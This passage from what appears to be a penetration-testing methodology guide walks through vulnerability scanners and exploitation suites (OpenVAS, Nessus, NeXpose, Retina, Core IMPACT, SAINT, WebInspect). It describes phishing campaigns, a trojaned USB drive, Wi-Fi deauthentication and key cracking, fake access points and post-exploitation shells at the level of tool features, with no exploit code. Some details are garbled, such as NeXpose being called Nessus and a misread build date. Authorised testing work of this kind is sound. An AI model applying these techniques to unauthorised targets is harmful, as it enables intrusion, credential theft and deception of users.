If you created a certificate then you supply it as well. You will then be presented with a certificate to accept. Click yes to continue.

Screenshot Here

Once you accept the certificate, OpenVAS will initialize and indicate the number of Found and Enabled plugins. This could take a while depending upon the number of plugins that need to be downloaded. Also, you need to ensure that you've added the appropriate /etc/hosts entries for both the IPv4 and IPv6 address. For example:

```
127.0.0.1       localhost

127.0.0.1       pentest

<nowiki>#</nowiki> The following lines are desirable for IPv6 capable hosts

<nowiki>:</nowiki>:1     ip6-localhost ip6-loopback pentest localhost
```

Screenshot Here

Before scanning anything we need to configure the OpenVAS Scan Options. The General section covers all the general scan options. See Appendix A for the specific settings. To start a new scan, you use the Scan Assistant.

Screenshot Here

Once the Scan Assistant launches, you'll have to provide some information to create the task. First, you'll need to give the name of the task. This is usually the name of the client or some other name that describes what you're scanning. Once you've completed this, click Forward to continue.

Screenshot Here

A scope can be seen as a sub-task. It defines a certain scan and the title should indicate the scope of the scan such as "Internet Facing Systems" or "Aggressive Scan of Client X". Once you've completed this, click Forward to continue.

Screenshot Here

At this point you'll need to provide the target information. This can be in the form of a hostname, FQDN, IP Address, Network Range, CIDR. The only requirement is that they have to be separated with commas. Once you've completed this, click Forward to continue.

Screenshot Here

Finally, we're at the point where we can launch our scan. Click Execute to start the scan.

Screenshot Here

Screenshot Here

Screenshot Here

Screenshot Here

Nessus (Windows/Linux)

Nessus is a commercial automated scanning program. It is designed to detect potential vulnerabilities on the networks, hosts, and associated application being assessed. Nessus allows for custom policies to be utilized for specific evaluations. For non-Web applications, the policy that should be utilized is the "Only Safe Checks" policy (See Appendix A). For Web applications, the policy that should be utilized is the "Only Safe Checks (Web)" policy (See Appendix B).

To access Nessus simply enter in the correct URL into a web browser. If you are accessing from the Pentest Lab use the following URL: https://<IP ADDRESS>:8834.

'" Screenshot Here '"

The credentials to access this will need to be established prior to attempting to access. Once you have the logged in, you will be presented with the Reports Interface. Prior to running any Nessus scan, the product should be validated to ensure that it has been properly updated with the latest signatures. This process is normally run as part of a scheduled task, but you can run click on "About" which will present the Windows which contains data about the installation.

Screenshot Here

The Client Build ID is quick way to ensure that Nessus has been updated. The format is as simple as YYYYMMDD. 201110223 would mean that the scanner was last updated on February, 23, 2011.

Screenshot Here

If the scanner has been updated within the last week, you can safely conduct scans. If this date is further out than one week, you should immediately report this and avoid using the scanner until Nessus has been updated.

Within Nessus, there are four main tabs available: Reports, Scans, Policies, and Users.
'" Screenshot Here '"

To initiate a scan utilize the Scan tab. This will present you with several additional options such as Add, Edit, Browse, Launch, Pause, Stop, and Delete.
Screenshot Here

You will create a new scan by clicking on the "Scans" option on the menu bar at the top and then click on the "+ Add" button on the right. The "Add Scan" screen will be displayed as follows:
'" Screenshot Here '"

There are five fields to enter before starting a scan. The name field is set to the name that will be displayed to identify the scan. The type field allows you to choose between "Run Now" and "Template." "Run Now" executes the scan immediately after submitting. "Template" saves the scan as a template for repeated scans. The policy field is where the scan policy is selected. The final two fields are both related to the scan targets. You can either enter in the hosts (one per line) or browse for a text file containing all the target hosts.

Once all these fields have been properly populated click "Launch Scan" to initiate the scan process.

Note: Automated tools can sometimes be too aggressive by default and need to be scaled back if the customer is affected.

A validation scan should be conducted weekly against <IP ADDRESS> using the "Validation Scan" policy (See Appendix C) to ensure that Nessus is performing scans in properly.

Screenshot Here
If you conduct a "Validation Scan" and do not receive similar results, then you should immediately report this and void using the scanner.

Once the scan has completed running, it will be visible in the Reports tab. To open the scan reports simply double-click on the appropriate completed scan file. This will provide us with some information about the scan as well as the results.
'" Screenshot Here '"

We need to save this report for us to analyze. To do this, click on the "Download Report." This will present a new window that allows for the format to be specified.

'" Screenshot Here '"

The default format is ".nessus", however it is necessary to download the Nessus results in HTML format. This allows you to quickly review the vulnerabilities.

NeXpose

Nessus is a commercial automated scanning product that provides vulnerability management, policy compliance and remediation management. It is designed to detect vulnerabilities as well as policy compliance on the networks, hosts, and associated web applications.

To access NeXpose simply enter in the correct URL into a web browser. If you are accessing from the Pentest Lab use the following URL: https://<IP ADDRESS>:3780/login.html.

Screenshot Here

The credentials to access this will need to be established prior to attempting to access. Once you have the logged in, you will be presented with the dashboard Interface.

Screenshot Here

Prior to running any NeXpose scan, the product should be validated to ensure that it has been properly updated with the latest signatures. This process is normally run as part of a scheduled task, but you can quickly validate that it the scanner is up to date by simply viewing the 'News' which will give you a log file of all the updates to the scan engine as well as any updated checks.

Screenshot Here

If the scanner has been updated within the last week, you can safely conduct scans. If this date is further out than one week, you should immediately report this and void using the scanner until NeXpose has been updated.

Within NeXpose, there are six main tabs available: Home, Assets, Tickets, Reports, Vulnerabilities, and Administration.

'" Screenshot Here '"

To initiate a scan you will have to setup a 'New Site'. To perform this click on the 'New Site' button at the bottom of the Home Page or click on the Assets tab.

Screenshot Here

This will present you with the 'Site Configuration - General' page which contains several inputs such as Site name, Site importance, and Site Description.

Screenshot Here

Type a name for the target site. Then add a brief description for the site, and select a level of importance from the dropdown list. The importance level corresponds to a risk factor that NeXpose uses to calculate a risk index for each site. The 'Very Low' setting reduces a risk index to 1/3 of its initial value. The 'Low' setting reduces the risk index to 2/3 of its initial value. 'High' and 'Very High' settings increase the risk index to 2x and 3x times its initial value, respectively. A 'Normal' setting does not change the risk index.

‘’’ Screenshot Here ‘’’

Go to the ‘’Devices ‘’page to list assets for your new site. IP addresses and/or hostnames can be manually entered in the text box labeled *Devices to scan*. It is also possible to import a comma separated file that lists IP address and/or the host names of targets you want to scan. You do have to ensure that each address/hostname in the file appears on its own line.

To import a target list file, click the Browse’’’ ‘’’button in the ‘’’Included Device’s’ ‘’area, and select the appropriate file.

If you need to exclude targets from a scan, the process is the sample however; it is performed under the area labeled *‘Devices to Exclude’*.

Once the targets have been added, a scan template will need to be selected from the ‘’’Scan Setup’ ‘’page. To select a scan template simply browse the available templates. The scan engine drop down allows you to choose between the local scan engine and the Rapid 7 hosted scan engine.

Screenshot Here

There are many templates available, however be aware that if you modify a template, all sites that use that scan template will use these modified settings. So ensure that modify an existing template with caution.

The default scan templates Denial of Service, Discovery scan, Discovery scan (aggressive), Exhaustive, Full audit, Internal DMZ audit, Linux RPMs, Microsoft hotfix, Payment Card Industry (PCI) audit, Penetration test, Safe network audit, Sarbanes-Oxley (SOX) compliance, SCADA audit, and Web audit. Specific settings for these templates are included in Appendix D

Finally, if you wish to schedule a scan to run automatically, click the check box labeled ‘Enable schedule’. The console displays options for a start date and time, maximum scan duration in minutes, and frequency of repetition. If the scheduled scan runs and exceeds the maximum specified duration, it will pause for an interval that you specify in the option labeled ‘Repeat every’. Select an option for what you want the scan to do after the pause interval.

The newly scheduled scan will appear in the ‘Next Scan’ column of the ‘Site Summary’ pane of the page for the site that you are creating. All scheduled scans appear on the ‘Calendar’ page, which you can view by clicking the ‘Monthly calendar’ link on the ‘Administration’ page.

You can set up alerts to inform you when a scan starts, stops, fails, or matches a specific criterion.

From the ‘’’Alerting; ‘’page and click the ‘’’’New Alert’ ‘’’button.

Screenshot Here

The console displays a ‘’’New Alert’ ‘’dialog box. Click the ‘’’’Enable alert’ ‘’’check box to ensure that NeXpose generates this type of alert. You can click the box again at any time to disable the alert if you prefer not to receive that alert temporarily without having to delete it.

Screenshot Here

Type a name for the alert and a value in the ‘Send at most’ field if you wish to limit the number of this type of alert that you receive during the scan. Select the check boxes for types of events (Started, Stopped, Failed, Paused, and Resumed) that you wish to generate alerts for. Select the Confirmed, Unconfirmed, and/or Potential check boxes to receive only those alerts. Select a notification method from the dropdown box. NeXpose can send alerts via SMTP e-mail, SNMP message, or Syslog message. Select e-mail method and enter the addresses of your intended recipients. Click the Limit alert text check box to send the alert without a description of the alert or its solution. Click the Save button. The new alert appears on the ‘Alerting’ page.

Screenshot Here

Establishing logon credentials enables deeper checks across a wider range of vulnerabilities, such as policy violations, adware, or spyware. Additionally, credentialed scans result in more accurate results. On the 'Credentials' page click 'New Login' display the 'New Login' box.

Screenshot Here

Select the desired type of credentials from the dropdown list labeled 'Login type'. This selection determines the other fields that appear in the form. In the appropriate field enter the appropriate user name and/or password. The 'Restrict to Device' and 'Restrict to Port' fields allows for testing credentials to ensure that the work on a given site. After filling those fields, click on the 'Test login' button to make sure that the credentials work. Specifying a port in the Restrict to Port field allows you to limit your range of scanned ports in certain situations. Click the 'Save' button. The new credentials appear on the 'Credentials' page.

Once the scan has completed, you can view the results in several manners. It is possible to view the assets by sites, view assets by groups, view assets by operating systems, view assets by services, view assets by software, and view all assets.

Screenshot Here

By selecting the appropriate assets view you can select the results that you wish to view.

Screenshot Here

To create a report, click on the 'Create Site Report' button. This will take you to the 'New Report' 'Configuration' page.

Screenshot Here

Report configuration entails selecting a report template, assets to report on, and distribution options. You may schedule automatic reports for generation and distribution after scans or on a fixed calendar timetable; or you may run reports manually. After you go through all the following configuration steps and click 'Save', NeXpose will immediately start generating a report.

eEYE Retina

eEye Retina Vulnerability Assessment Scanner is a vulnerability scanner created by eEye Digital Security that is used to correlate and validate findings from Nmap and Nessus.

At first glance, the interface looks to be much more complicated than Nessus. It is however, extremely simple once you've explored it. The initial screen that is presented is the Discovery Tasks page. This is utilized to perform a discovery scan to determine what hosts are alive.

'" Screenshot Here '"

To perform a Discovery Scan, click Targets from the Actions section and the "Select Targets" option will appear. At this point you can either enter in a single IP address or hostname that you assess. The other options available are to scan by IP Range, CIDR, Named Host, and Address Groups.

Clicking on the Options Actions section presents us with additional options related to the Discovery scan. These options include ICMP Discovery, TCP Discovery on Ports (enter in a comma separated list of port numbers, UPD Discovery, Perform OS Detection, Get Reverse DNS, Get NetBIOS Name, and Get MAC Address. Select the appropriate options for the scan desired.

'" Screenshot Here '"

To run the Discovery scan immediately click "Discover." To run the Discovery scan at a later point in time or on a regular schedule, click "Schedule." Retina displays your results in the Results table as it scans the selected IP(s). In order to get the results in a format that we can use, we need to select the scan results and click "Generate" to export the results in XML format.

'" Screenshot Here '"

While Discovery Scans may be useful, the majority of our tasks will take place in the Audit Interface. This is very similar to the Discovery Scan interface; however it does have a few more options.

'" Screenshot Here '"

The Targets section is similar though there is an additional section that allows us to specify the Output Type, Name, and Job Name.

'" Screenshot Here '"

This section is important to complete, as this is how the scan results will be saved. If you do not change this information then you could potentially overwrite someone else's scan results. By default, these are saved to the following directory:

```
C:\Program Files\eEye Digital Security\Retina 5\Scans
```

This is important to note, as you will need to copy these from this location to your working directory.

At this point we need to click Ports from the Actions section and the "Select Port Group(s)" option will appear. At this point we need to validate that the "All Ports" option has been selected.

'" Screenshot Here '"

The next section we need to check is "Audits" from the Actions section and the "Select Audit Group(s)" option will appear. At this point we need to validate that the "All Audits" option has been selected.

'" Screenshot Here '"

The final section we need to check is "Options" from the actions section. Clicking on this will present us with the "Select Options" action section.

'" Screenshot Here '"

At this point we need to validate that the following option has been selected:

- Perform OS Detection
- Get Reverse DNS
- Get NetBIOS Name
- Get MAC Address
- Perform Traceroute
- Enable Connect Scan
- Enable Force Scan
- Randomize Target List
- Enumerate Registry via NetBIOS
- Enumerate Users via NetBIOS
- Enumerate Shares via NetBIOS

- Enumerate Files via NetBIOS
- Enumerate Hotfixes via NetBIOS.
- Enumerate Named Pipes via NetBIOS
- Enumerate Machine Information via NetBIOS
- Enumerate Audit Policy via NetBIOS
- Enumerate Per-User Registry Settings via NetBIOS
- Enumerate Groups via NetBIOS
- Enumerate Processes via NetBIOS
- Enumerate a maximum of 100 users

At this point we are ready to actually perform the Audit Scan. Click the Scan button to start the Audit Scan immediately. To perform the scan at a later point in time or on a regular schedule, click "Schedule."

'" Screenshot Here '"

Note: Automated tools can sometimes be too aggressive by default and need to be scaled back if the customer is affected.

The results of your scan are automatically saved in .rtd format.

Retina displays your results in the Results table as it scans the selected IP(s).

'" Screenshot Here '"

Qualys

<Contribution Needed>

Core IMPACT

Core IMPACT is a penetration testing and exploitation toolset used for testing the effectiveness of your information security program. Core IMPACT automates several difficult exploits and has a multitude of exploits and post exploitation capabilities.

Core IMPACT Web

Core can exploit SQL injection, Remote File Inclusion and Reflected Cross Site Scripting flaws on vulnerable web applications.

'" Screenshot Here '"

1) Information Gathering. As always, the first step information gathering. Core organizes web attacks into scenarios. You can create multiple scenarios and test the same application with varying settings, segment a web application, or to separate multiple applications. a) Select the target, either by providing a url or telling Core to choose web servers discovered during the network RPT b) Choose a method for exploring the site, automatic or interactive.

With automatic crawling, select the browser agent, max pages and depth, whether it should follow links to other/or to include other domains, whether it should run test to determine the server/application framework, whether to evaluate javascript, check robots.txt for links, and how it should handle forms. For greater customization, you can also select a link parsing module and set session parameters.

'" Screenshot Here '"

With interactive, you set your îbrowserî to use Core as a proxy and then navigate through the web application. Further customized discovery modules like checking for backup and hidden pages are available on the modules tab.

‘” Screenshot Here ‘”

2) Web Attack and penetration.

The attack can be directed to a scenario or individual pages. Each type of exploit has its own configuration wizard. SQL Injection tests can be performed on request parameters and/or request cookies. There are three different levels of injection attacks FAST: quickly runs the most common tests, NORMAL: runs the tests that are in the FAST plus some additional tests FULL: runs all tests (for details on what the difference tests check for, select the modules tab, navigate to the Exploits | SQL Injection section and view the contents of the SQL Injection Analyzer paying attention to the fuzz_strings). Adding information about known custom error pages and any session arguments will enhance testing. For XSS attacks, configure the browser XSS should be tested for, whether or not to evaluate POST parameters and whether to look for Persistent XSS vulnerabilities. For PHP remote file injection vulnerabilities, the configuration is either yes try to exploit or no, donít. Monitor the module progress in the Executed Modules pane. If the WebApps Attack and Penetration is successful, then Core Agents (see note on agents in Core network RPT) will appear under vulnerable pages in the Entity View.

3) Web Apps Browser attack.

Can leverage XSS exploits to assist with Social Engineering awareness tests. The wizard will guide the penetration tester though the process of leveraging the XSS vulnerability to your list of recipients from the client side information gathering phase.

4) Web App Local Information Gathering.

Will check for sensitive information, get database logins and get the database schema for pages where SQL was successfully exploited. Command and SQL shells may also be possible.

‘” Screenshot Here ‘”

The RFI agent(PHP) can be used to gather information, for shell access, or to install the full Core Agent.

5) Report Generation. Select from a variety of reports like executive, vulnerability and activity reports.

Core Onestep Web RPTs Core also has two one-step rapid penetration tests 1) WebApps Vulnerability Test Type in the web application and Core will attempt to locate pages that contain vulnerabilities to SQL Injection, PHP Remote File Inclusion, or Cross-site Scripting attacks. This test can also be scheduled. 2) WebApps Vulnerability Scanner Validator

Core will try to confirm vulnerabilities from IBM Rational AppScan, HP WebInspect, or NTOspider scans.

Core IMPACT WiFi

Core Impact contains a number of modules for penetration testing an 802.11 wireless network and/or the security of wireless clients. In order to use the wireless modules you must use an AirPcap adapter available from www.cacetech.com.

‘” Screenshot Here ‘”

1) Information Gathering. Select the channels to scan to discover access points or capture wireless packets.

2) Wireless Denial of Service The station deauth module can be used to demonstrate wireless network disruption. It is also used to gather information for encryption key cracking.

3) Crack Encryption Keys. Attempt to discover and crack WEP and WPA/WPA2 PSK encryption keys. For WPA/WPA2, relevant passwords files from recognizance phase should be used.

4) Man in the Middle client attacks. Allows penetration tester to sniff wireless traffic, intercept or manipulate requests to gain access to sensitive data or an end user system. Leverage existing wireless network from steps one and two, or setup fake access points with the Karma Attack.

5) Reporting. Reports about all the discovered WiFi networks , summary information about attacks while using a Fake Access Point and results of Man In The Middle (MiTM) attacks can be generated.

Core IMPACT Client Side

Core Impact can perform controlled and targeted social engineering attacks against a specified user community via email, web browsers, third-party plug-ins, and other client-side applications.

‘” Screenshot Here ‘”

1) As always, the first step information gathering. Core Impact has automate modules for scraping email addresses our of search engines (can utilize search API keys), PGP, DNS and WHOIS records, LinkedIn as well as by crawling a website, contents and metadata for Microsoft Office Documents and PDFs , or importing from a text file generated using source as documented in the intelligence gather section of the PTES. 2) With the target list complete, the next step is to create the attack. Core supports multiple types of attacks, including single exploit, multiple exploits or a phishing only attack

‘” Screenshot Here ‘” ‘” Screenshot Here ‘” ‘” Screenshot Here ‘” ‘” Screenshot Here ‘”

Depending on which option is chosen the wizard will walk you through choosing the exploit, setting the duration of the client side test, and choosing an email template (note: predefined templates are available, but message should be customized to match target environment!) .Web links can be obfuscated using tinyURL, Bit.Ly or Is.gd. After setting the options for the email server the Core Agent connect back method (HTTP, HTTPS, or other port), and choosing whether or not to run a module on successful exploitation or to try to collect smb credentials, the attack will start. Specific modules can be run instead of using the wizard by choosing the modules tab

‘” Screenshot Here ‘”

Monitor the Executed Modules pane to see the progress of the client side attack. As agents are deployed, they will be added to the network tab. See the network RPT section of the PTES for details on completing the local information gathering, privilege escalation and clean up tasks.

Once the client side attack is complete, detailed reporting of the client side phishing/exploitation engagement can be generated.

It is also possible to create a trojaned USB drive that will automatically install the Core agent.

‘” Screenshot Here ‘”

Core Web

Core can exploit SQL injection, Remote File Inclusion and Reflected Cross Site Scripting flaws on vulnerable web applications. ‘” Screenshot Here ‘”

1) Information Gathering. As always, the first step information gathering. Core organizes web attacks into scenarios. You can create multiple scenarios and test the same application with varying settings, segment a web application, or to separate multiple applications. a) Select the target, either by providing a url or telling Core to choose web servers discovered during the network RPT b) Choose a method for exploring the site, automatic or interactive.

‘‘ With automatic crawling, select the browser agent, max pages and depth, whether it should follow links to other/or to include other domains, whether it should run test to determine the server/application framework, whether to evaluate javascript, check robots.txt for links, and how it should handle forms. For greater customization, you can also select a link parsing module and set session parameters.‘‘

coreWEBcrawl

With interactive, you set your ”browser” to use Core as a proxy and then navigate through the web application. Further customized discovery modules like checking for backup and hidden pages are available on the modules tab. ‘” Screenshot Here ‘”

2) Web Attack and penetration. The attack can be directed to a scenario or individual pages. Each type of exploit has its own configuration wizard. SQL Injection tests can be performed on request parameters and/or request cookies. There are three different levels of injection attacks FAST: quickly runs the most common tests, NORMAL: runs the

tests that are in the FAST plus some additional tests FULL: runs all tests (for details on what the difference tests check for, select the modules tab, navigate to the Exploits | SQL Injection section and view the contents of the SQL Injection Analyzer paying attention to the fuzz_strings). Adding information about known custom error pages and any session arguments will enhance testing. For XSS attacks, configure the browser XSS should be tested for, whether or not to evaluate POST parameters and whether to look for Persistent XSS vulnerabilities. For PHP remote file injection vulnerabilities, the configuration is either yes try to exploit or no, don't. Monitor the module progress in the Executed Modules pane. If the WebApps Attack and Penetration is successful, then Core Agents (see note on agents in Core network RPT) will appear under vulnerable pages in the Entity View.

3) Web Apps Browser attack. Can leverage XSS exploits to assist with Social Engineering awareness tests. The wizard will guide the penetration tester though the process of leveraging the XSS vulnerability to your list of recipients from the client side information gathering phase.

4) Web App Local Information Gathering. Will check for sensitive information, get database logins and get the database schema for pages where SQL was successfully exploited. Command and SQL shells may also be possible. '" Screenshot Here '" The RFI agent(PHP) can be used to gather information, for shell access, or to install the full Core Agent.

5) Report Generation. Select from a variety of reports like executive, vulnerability and activity reports.

Core Onestep Web RPTs

Core also has two one-step rapid penetration tests 1) WebApps Vulnerability Test Type in the web application and Core will attempt to locate pages that contain vulnerabilities to SQL Injection, PHP Remote File Inclusion, or Cross-site Scripting attacks. This test can also be scheduled. 2) WebApps Vulnerability Scanner Validator Core will try to confirm vulnerabilities from IBM Rational AppScan, HP WebInspect, or NTOspider scans.

Core WiFi

Core Impact contains a number of modules for penetration testing an 802.11 wireless network and/or the security of wireless clients. In order to use the wireless modules you must use an AirPcap adapter available from www.cacetech.com. 1) Information Gathering. Select the channels to scan to discover access points or capture wireless packets.

2) Wireless Denial of Service The station deauth module can be used to demonstrate wireless network disruption. It is also used to gather information for encryption key cracking.

3) Crack Encryption Keys. Attempt to discover and crack WEP and WPA/WPA2 PSK encryption keys. For WPA/WPA2, relevant passwords files from recognisance phase should be used.

4) Man in the Middle client attacks. Allows penetration tester to sniff wireless traffic, intercept or manipulate requests to gain access to sensitive data or an end user system. Leverage existing wireless network from steps one and two, or setup fake access points with the Karma Attack.

5) Reporting. Reports about all the discovered WiFi networks , summary information about attacks while using a Fake Access Point and results of Man In The Middle (MiTM) attacks can be generated.

SAINT

SAINT Professional is a commercial suite combining two distinct tools rolled into one easy to use management interface; SAINTscanner and SAINTexploit providing a fully integrated vulnerability assessment and penetration testing toolkit.

SAINTscanner is designed to identify vulnerabilities on network devices, OS and within applications. It can be used for compliance and audit testing based on pre-defined and custom policies. In addition as a data leakage prevention tool it can enumerate any data that should not be stored on the network. SAINTexploit is designed to exploit those vulnerabilities identified by SAINTscanner, with the ability to carry out bespoke social engineering and phishing attacks also. One a host or device has been exploited it can be utilised to tunnel through to other vulnerable hosts. SAINT can either be built from source or be run from a pre-configured virtual machine supplied by the vendor.

If the latter is used (recommended) simply double clicking the icon will launch the suite. By default the password is "SAINT!!!" The default web browser opens after SAINT auto updates to the following URL: http://:52996/ Screenshot Here SAINT_startup.png refers (included).

SAINTscanner

Once logged in you immediately enter the SAINTscanner page with the Penetration Testing (SAINTXploit) tab easily available and visible. It is possible to login remotely to SAINT, by default this is over port 1414 and has those hosts allowed to connect have to be setup via Options, startup options, Category remote mode, subcategory host options: Screenshot Here SAINT_Remote_host.png refers (included). Configuration of scanning options should now be performed which is accessed by Options, scanning options, Category scanning policy. Each sub category needs to be addressed to ensure that the correct default scanning parameters are set i.e. using nmap rather than the in-built SAINT port scanner and which ports to probe, that dangerous checks are disabled (if required) and that the required items for compliance and audit are enabled for reporting i.e. anti-virus, age of definition check etc. Screenshot Here SAINT_scanning_options.png refers (included). Note: - The target restrictions sub-category should be amended if any hosts are not to be probed. The most import scanning option is Category Scanning policy, sub-category probe options, option, what scanning policy should be used, the scan required is selected or a custom policy built-up to suit the actual task Screenshot here SAINT_policy_setup.png refers (included). Having configured all the options required the actual process of carrying out a scan can be addressed. Step 1 Insert IP Range/ Address or Upload Target List Step 2 Type in credentials Screenshot here SAINT_scansetup1.png refers (included). Step 3 Select Scan Policy Type Step 4 Determine Firewall settings for Target Step 5 Select Scan Now Screenshot here SAINT_scansetup2.png refers (included).

SAINTexploit

Different levels of penetration tests can be carried out:

Discovery - Identify hosts. Information Gathering - Identify hosts, probe and port scan. Single Penetration - Both above then exploits stopping at first successful exploit. Root Penetration - Exploit then Privilege escalation to admin/ root. Full Penetration - Exploits as many vulnerabilities as possible. Web Application - Attacks discovered web applications.

Conducting a test is fairly straight forward, once any prior configuration has been carried out, callback ports, timeouts etc. Just select the Pen Test icon then go through the following 4 steps. Once complete select run pen test now.

Step 1 Insert IP Range/ Address or Upload Target List Step 2 Type in credentials

Screenshot here SAINT_pen1.png refers (included).

Step 3 Select Penetration Test Type Step 4 Determine Firewall settings for Target

SAINT_pen2.png Screenshot here SAINT_pen2.png refers (included).

Once a host has been successfully exploited, navigating to the connections tab provides the ability to directly interact with the session. SAINTexploit provides four useful tools in this tab to allow interactive access to the session and a disconnect button to close any outstanding connection:

Command Prompt. File and Upload Manager. Screenshot Taker Tunnel.

Screenshot here SAINT_connections.png refers (included) The File Manager gives the ability to perform numerous actions. This is opened via the connections tab, providing the ability to upload/ download/ rename files. Screenshot here SAINT_filemgr.png refers (included) A Command Prompt can be utilised on an exploited host, the tool is opened via the connections tab, all DOS/Bash type commands that are applicable to the target OS can be ran. Screenshot here SAINT_cmd.png refers (included) The Screenshot Tool can be used against an exploited host to grab a screenshot for the report. Screenshot here SAINT_screen.png refers (included) Varied other tools that can be utilised against the host, i.e. grabbing password hashes and many others can be accessed and executed via the exploits icon, tools option.

Custom Client Side attacks These can be performed by using the exploits icon, selecting exploits, expanding out the client list and clicking on the appropriate exploit that you wish to utilise against the client (run now) Screenshot here SAINT_client1.png refers (included) Select, port the client is to connect to, the shell port and the target type. Annotate any specific mail from and to parameters Screenshot here SAINT_client2.png refers (included) Type in the

subject, either select a predefined template and alter the message to suit Screenshot here SAINT_client3.png refers (included) A sample pre-defined template is available which looks very realistic Screenshot here SAINT_client4.png refers (included) Selecting run now will start the exploit server against the specified target host Screenshot here SAINT_client5.png refers (included) If a client click the link in the email they have just been sent, and they are exploitable, the host will appear in the connections tab and can then be interacted with as above.

SAINTwriter

SAINTwriter is a component of SAINT that allows you to generate a variety of customised reports. SAINTwriter features eight pre-configured reports, eight report formats (HTML, Frameless HTML, Simple HTML, PDF, XML, text, tab-separated text, and comma-separated text), and over 100 configuration options for custom reports.

To generate a report

Step 1 From the SAINT GUI, go to Data, and from there go to SAINTwriter. Step 2 Read the descriptions of the pre-configured reports and select the one which best suits your needs. Screenshot here SAINT_writer.png refers (included). A sample report is available here and here SAINT_report1.pdf and SAINT_report2.pdf refer (included)

Web Application Scanners

General Web Application Scanners

WebInspect (Windows)

HP's WebInspect application security assessment tool helps identify known and unknown vulnerabilities within the Web application layer. WebInspect can also help check that a Web server is configured properly, and attempts common web attacks such as parameter injection, cross-site scripting, directory traversal, and more

When you first start WebInspect, the application displays the Start Page. For this page we can perform the five major functions within the WebInpsect GUI. The options are to start a Web Site Assessment, start a Web Service Assessment, start an Enterprise Assessment, generate a Report, and start Smart Update. From the Start Page, you can also access recently opened scans, view the scans that are scheduled for today and finally, view the WebInspect Messages.

‘” Screenshot Here ‘”

The first scan that is performed with WebInspect is the Web Site Assessment Scan. WebInspect makes use of the New Web Site Assessment Wizard to setup the assessment scans.

‘” Screenshot Here ‘”

When you start the New Scan wizard, the Scan Wizard window appears. The options displayed within the wizard windows are extracted from the WebInspect default settings. The important thing to note is that any changes you make will be used for this scan only.

In the Scan Name box, enter a name or a brief description of the scan. Next you need to select one an assessment mode. The options available are Crawl Only, Crawl and Audit, Audit Only, and Manual. The “Crawl Only” option completely maps a site's tree structure. It is possible after a crawl has been completed, to click “Audit” to assess an application's vulnerabilities. “Crawl and Audit” maps the site's hierarchical data structure, and audits each page as it is discovered. This should be used when assessing extremely large sites. “Audit Only” determines vulnerabilities, but does not crawl the web site. The site is not assessed when this option is chosen. Finally, “Manual” mode allows you to navigate manually to sections of the application. It does not crawl the entire site, but records information only about those resources that you encounter while scanning a Site manually navigating the site. Use this option if there are credentialed scans being performed. Also, ensure that you embed the credentials in the profile settings.

‘” Screenshot Here ‘”

It is recommended to crawl the client site first. This allows the opportunity to identify any forms that need to be filtered during the audit as well as identify directories/file names (in some cases, even the profiler) that need to be ignored for a scan to complete.

Once you have selected the assessment mode, you will need to select the assessment type. There are four options available, Standard Assessment, List-Driven Assessment, Manual Assessment, and Workflow-Driven Assessment. The Standard Assessment type consists of automated analysis, starting from the target URL. This is the normal way to start a scan. Manual Assessment allows you to navigate manually to

whatever sections of your application you choose to visit, using Internet Explorer. List-Driven Assessment performs an assessment using a list of URLs to be scanned. Each URL must be fully qualified and must include the protocol (for example, http:// or https://). Workflow-Driven Assessment: WebInspect audits only those URLs included in the macro that you previously recorded and does not follow any hyperlinks encountered during the audit.

As discussed earlier, Standard Assessment will normally be used for the initial scans. If this is the choice you've selected you will need to type or select the complete URL or IP address of the client's site to be examined. When you enter a URL, it must be precise. For example, if you entering client.com will not result in a scan of www.client.com or any other variations. To scan from a specific point append a starting point for the scan, such as http://www.client.com/clientapplication/. By default, scans performed by IP address will not follow links that use fully qualified URLs.

‘” Screenshot Here ‘”

Select “Restrict to folder” to limit the scope of the assessment to the area selected. There are three options available from the drop-down list.

‘” Screenshot Here ‘”

The choices are Directory only, Directory and subdirectories, and Directory and parent directories. Choosing the “Directory only” option will force a crawl and/or audit only for the URL specified. The “Directory and subdirectories” options will crawl and/or audit at the URL specified as well as subordinate directories. It will not access any directory than the URL specified. The “Directory and parent directories” option will crawl and/or audit the URL you specified, but will not access any subordinate directories.

Once you have selected to appropriate options, click Next to continue.

If the target site needs to accessed through a proxy server, select Network Proxy and then choose an option from the Proxy Profile list. The default is to Use Internet Explorer. The other options available are Autodetect, Use PAC File, Use Explicit Proxy Settings, and Use Mozilla Firefox. Autodetect uses the Web Proxy Autodiscovery Protocol (WPAD) to locate a proxy autoconfig file and use this to configure the browser's Web proxy settings. Use PAC File loads proxy settings from a Proxy Automatic Configuration (PAC) file. Use Explicit Proxy Settings allows you to specify proxy server settings. Use Mozilla Firefox imports the proxy server information from Firefox.

‘” Screenshot Here ‘”

Selecting to use browser proxy settings does not guarantee that you will be able to access the Internet through a particular proxy server. If the Internet Explorer settings are configured to use a proxy that is not running, then you will not be able to access the site to begin the assessment. For this reason, it is always recommended to check the prosy settings of the application you have selected.

Select Network Authentication if server authentication is required. Then choose the specific authentication method and enter your network credentials. Click Next to continue.

The Coverage and Thoroughness options are not usually modified, unless you are targeting an Oracle site.

Screenshot Here

To optimize settings for an Oracle site, select Framework and then choose the site type from the Optimize scan for list. Use the Crawl slider to specify the crawler settings.

If enabled, the slider allows you to select one of four crawl positions. The options are Thorough, Default, Normal, and Quick. The specific settings are as follows:

Thorough uses the following settings:

- Redundant Page Detection: OFF
- Maximum Single URL Hits: 20

- Maximum Web Form Submissions: 7
- Create Script Event Sessions: ON
- Maximum Script Events Per Page: 2000
- Number of Dynamic Forms Allowed Per Session: Unlimited
- Include Parameters In Hit Count: True

Default uses the following settings:

- Redundant Page Detection: OFF
- Maximum Single URL Hits: 5
- Maximum Web Form Submissions: 3
- Create Script Event Sessions: ON
- Maximum Script Events Per Page: 1000
- Number of Dynamic Forms Allowed Per Session: Unlimited
- Include Parameters In Hit Count: True

Normal uses the following settings:

- Redundant Page Detection: OFF
- Maximum Single URL Hits: 5
- Maximum Web Form Submissions: 2
- Create Script Event Sessions: ON
- Maximum Script Events Per Page: 300
- Number of Dynamic Forms Allowed Per Session: 1
- Include Parameters In Hit Count: False

Quick uses the following settings:

- Redundant Page Detection: ON
- Maximum Single URL Hits: 3
- Maximum Web Form Submissions: 1
- Create Script Event Sessions: OFF
- Maximum Script Events Per Page: 100
- Number of Dynamic Forms Allowed Per Session: 0
- Include Parameters In Hit Count: False

Select the appropriate crawl position and click Next to continue.

‘” Screenshot Here ‘”

Ensure that the select Run Profiler Automatically box is checked. Click Next to continue.

‘” Screenshot Here ‘”

At this point the scan has been properly configured. There is an option to save the scan settings for later use. Click Scan to exit the wizard and begin the scan.

